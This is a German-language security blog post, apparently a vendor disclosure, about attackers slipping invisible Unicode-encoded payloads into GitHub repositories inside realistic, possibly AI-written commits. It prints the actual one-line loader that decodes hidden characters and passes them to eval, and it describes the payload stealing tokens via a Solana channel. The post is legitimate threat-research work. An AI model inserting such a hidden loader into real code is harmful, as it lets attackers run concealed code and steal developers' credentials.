Es ist noch nicht lange her, dass wir kompromittierte Erweiterungen auf Open VSX aufgedeckt haben. Nun zeichnet sich eine neue Angriffswelle ab, und alle Anzeichen deuten auf denselben Bedrohungsakteur hin.
Die Technik wird bekannt klingen: versteckter bösartiger Code, der mit unsichtbaren Unicode Private Use Area (PUA)-Zeichen injiziert wird. Diesen Trick sahen wir erstmals im März, als npm-Pakete PUAs nutzten, um Payloads zu verbergen. Dann kam Open VSX. Nun scheint der Angreifer GitHub ins Visier genommen zu haben, und seine Methoden entwickeln sich weiter. Die Auslieferung wird intelligenter, heimtückischer und wesentlich trügerischer.
Zeitleiste der Kampagne für unsichtbaren Code
- März – Aikido entdeckt erstmals bösartige npm-Pakete, die Payloads mithilfe von PUA-Unicode-Zeichen verstecken
- Mai – Wir veröffentlichen einen Blog, der die Risiken von unsichtbarem Unicode detailliert beschreibt und wie dieser bei Lieferkettenangriffen missbraucht werden kann
- 17. Oktober – Wir entdecken kompromittierte Erweiterungen auf Open VSX unter Verwendung derselben Technik;
- 18. Oktober - Koi Security analysiert die Malware und Payload und nennt sie Glassworm
- 31. Oktober – Wir entdecken, dass die Angreifer ihren Fokus auf GitHub-Repositories verlagert haben
Stealth by Design
Wir wurden erstmals auf diese neue Welle aufmerksam, als sich ein Entwickelnder meldete, nachdem er etwas Seltsames bemerkt hatte: Mehrere seiner eigenen GitHub-Repositories waren von ihm aktualisiert worden, zumindest laut der Commit-Historie. Die Commits sahen legitim aus. Sie enthielten realistische Feature-Updates, kleine Refactorings und sogar Bugfixes, die dem Coding-Stil und den Commit-Nachrichten des Projekts entsprachen. Abgesehen von einem Unterschied war die E-Mail des Committers eingestellt auf null. Doch am Ende dieser Commits enthielt jeder eine einzige, identische Ergänzung:
const d=s=>[...s].map(c=>(c=c.codePointAt(0),c>=0xFE00&&c<=0xFE0F?c-0xFE00:c>=0xE0100&&c<=0xE01EF?c-0xE0100+16:null)).filter(b=>b!==null);eval(Buffer.from(d(``)).toString('utf-8'));
Können Sie die Malware erkennen? Auf den ersten Blick ist schwer zu sehen, was vor sich geht, aber was auffällt, ist der eval Aufruf, der oft zur dynamischen Ausführung von Code verwendet wird. Nur die Eingabe an eval scheint leer zu sein. Der leere String, der an d() in eval ist überhaupt nicht leer. Er enthält unsichtbare Unicode-Zeichen, versteckten Code, der mit Private Use Area-Symbolen kodiert ist, genau wie bei den früheren npm- und Open VSX-Vorfällen.
Dieses Mal ist die Auslieferung jedoch weitaus subtiler. Alles wurde in eine einzige Zeile komprimiert, sodass kaum ein visueller Hinweis bleibt. Der bösartige Code ist in scheinbar normale Projektaktivitäten eingebettet und in legitimen Commits versteckt.
Es ist möglich, dass die harmlos aussehenden Änderungen KI-generiert wurden, um die Commits überzeugender zu gestalten. Da diese Commits sehr projektspezifisch waren, deutet dies darauf hin, dass der Angreifer große Sprachmodelle genutzt haben könnte, um realistische, kontextbezogene Codeänderungen zu erstellen und so KI effektiv einzusetzen, um seine Payload innerhalb gewöhnlicher Entwicklungsaktivitäten zu tarnen.
Die dekodierten PUA-Zeichen führen zu einem Skript, das den Open VSX-Samples sehr ähnlich ist, was darauf hindeutet, dass wir es wahrscheinlich mit demselben Bedrohungsakteur zu tun haben. Das dekodierte Skript scheint Solana als Übertragungskanal zu nutzen, um eine Payload von der Blockchain abzurufen und auszuführen. Basierend auf den Open VSX-Vorfällen waren diese Payloads in der Lage, Tokens und andere Secrets zu stehlen. Werden Anmeldeinformationen oder CI-Tokens abgegriffen, könnten sie wiederverwendet werden, um dieselbe Payload in andere Repositories zu pushen, was wiederum eine wurmartige Verbreitung ermöglichen könnte, wie wir sie bei früheren Angriffen gesehen haben.
Anzeichen eines größeren Angriffs
Nachdem wir das bösartige Muster identifiziert hatten, begannen wir zu prüfen, ob dieselbe Payload auch anderswo auftauchte. Eine schnelle Suche auf GitHub nach dem Muster zeigte schnell weitere Repositories, die dieselbe verdächtige Zeile aufwiesen.
In diesen Projekten wurde ein neuer Commit gepusht, der auf den ersten Blick völlig legitim aussah. Die Commits enthielten normale Änderungen wie Dokumentationsaktualisierungen, Versionserhöhungen und kleine Code-Verbesserungen, aber jeder enthielt auch dieselbe versteckte Payload, die am Ende einer Datei angehängt war.
Vorerst scheint diese Kampagne auf JavaScript-Projekte beschränkt zu sein, die auf GitHub gehostet werden. Wir haben keine Anzeichen ähnlicher Kompromittierungen in npm oder anderen Ökosystemen festgestellt, überwachen dies jedoch genau, da derselbe Angreifer versuchen könnte, seine Reichweite zu erweitern.
Sich entwickelnde Bedrohungen, intelligentere Abwehrmaßnahmen
Diese Vorfälle unterstreichen die Notwendigkeit eines besseren Bewusstseins für den Missbrauch von Unicode, insbesondere die Gefahren unsichtbarer Zeichen im Private Use Area. Entwickelnde können sich nur gegen das verteidigen, was sie sehen können, und derzeit zeigen ihnen die meisten Tools nicht genug. Weder die Weboberfläche von GitHub noch VS Code zeigten Anzeichen dafür, dass etwas nicht stimmte. In früheren Fällen, wie den Open VSX-Angriffen, zeigten einige IDEs subtile Indikatoren neben den versteckten Zeichen, aber diese Schutzmaßnahmen fehlten hier.
Obwohl diese Technik nicht neu ist, entwickelt sie sich eindeutig weiter. Frühere Bedrohungen wie Shai Hulud injizierten einfach bösartige Postinstall-Skripte, was ihre Erkennung relativ einfach machte. Jetzt mischen Angreifer bösartigen Code mit realistischen Commits und projektspezifischen Verbesserungen, möglicherweise unterstützt durch KI, um ihre Änderungen natürlich erscheinen zu lassen. Es ist ein Zeichen dafür, wohin sich die Bedrohungslandschaft entwickelt.
Bei Aikido passen wir uns derselben Entwicklung an. Wir nutzen große Sprachmodelle neben anderen Erkennungssystemen, um diese zunehmend subtilen Bedrohungen zu erkennen. Während Angreifer KI einsetzen, um ihre Absichten zu verbergen, müssen unsere Abwehrmaßnahmen ebenso intelligent werden, um sie aufzudecken.
